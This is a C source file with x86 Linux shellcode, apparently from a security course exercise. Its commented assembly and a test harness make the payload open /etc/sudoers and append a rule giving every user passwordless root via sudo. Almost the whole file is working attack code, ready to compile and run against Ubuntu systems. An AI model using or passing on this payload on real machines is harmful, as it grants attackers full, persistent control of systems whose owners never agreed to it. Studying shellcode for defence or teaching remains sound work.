71 lines
No EOL
1.5 KiB
C
71 lines
No EOL
1.5 KiB
C
/*
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Title: Edit /etc/sudoers with NOPASSWD for ALL
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Date: 2018-04-19
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Author: absolomb
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Website: https://www.sploitspren.com
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SLAE-ID: 1208
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Purpose: edit /etc/sudoers with ALL ALL=(ALL) NOPASSWD: ALL
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Tested On: Ubuntu 14.04
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Arch: x86
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Size: 79 bytes
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Shellcode is register independent and null free.
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global _start
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section .text
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_start:
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xor edx, edx ; clear edx
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xor ecx, ecx ; clear ecx
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push edx ; terminating NULL
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push 0x7372656f ; "sreo"
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push 0x6475732f ; "dus/"
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push 0x6374652f ; "cte/"
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mov ebx, esp ; point ebx to stack
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inc ecx ; ecx to 1
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mov ch, 0x4 ; ecx to 401 O_WRONLY | O_APPEND
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push 0x5 ; open()
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pop eax
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int 0x80 ; execute open
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xchg ebx, eax ; save fd in ebx
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jmp short setup
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;write(fd, ALL ALL=(ALL) NOPASSWD: ALL\n, len);
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write:
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pop ecx ; pop "ALL ALL=(ALL) NOPASSWD: ALL"
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mov dl, 0x1c ; len 28
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push 0x4 ; write()
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pop eax
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int 0x80 ; execute write
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push 0x1 ; exit ()
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pop eax
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int 0x80
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setup:
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call write
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db "ALL ALL=(ALL) NOPASSWD: ALL" , 0xa
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*/
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#include<stdio.h>
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#include<string.h>
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unsigned char code[] = \
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"\x31\xd2\x31\xc9\x52\x68\x6f\x65\x72\x73\x68\x2f\x73\x75\x64\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\x6a\x05\x58\xcd\x80\x93\xeb\x0d\x59\xb2\x1c\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80\xe8\xee\xff\xff\xff\x41\x4c\x4c\x20\x41\x4c\x4c\x3d\x28\x41\x4c\x4c\x29\x20\x4e\x4f\x50\x41\x53\x53\x57\x44\x3a\x20\x41\x4c\x4c\x0a";
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main()
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{
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printf("Shellcode Length: %d\n", strlen(code));
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int (*ret)() = (int(*)())code;
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ret();
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} |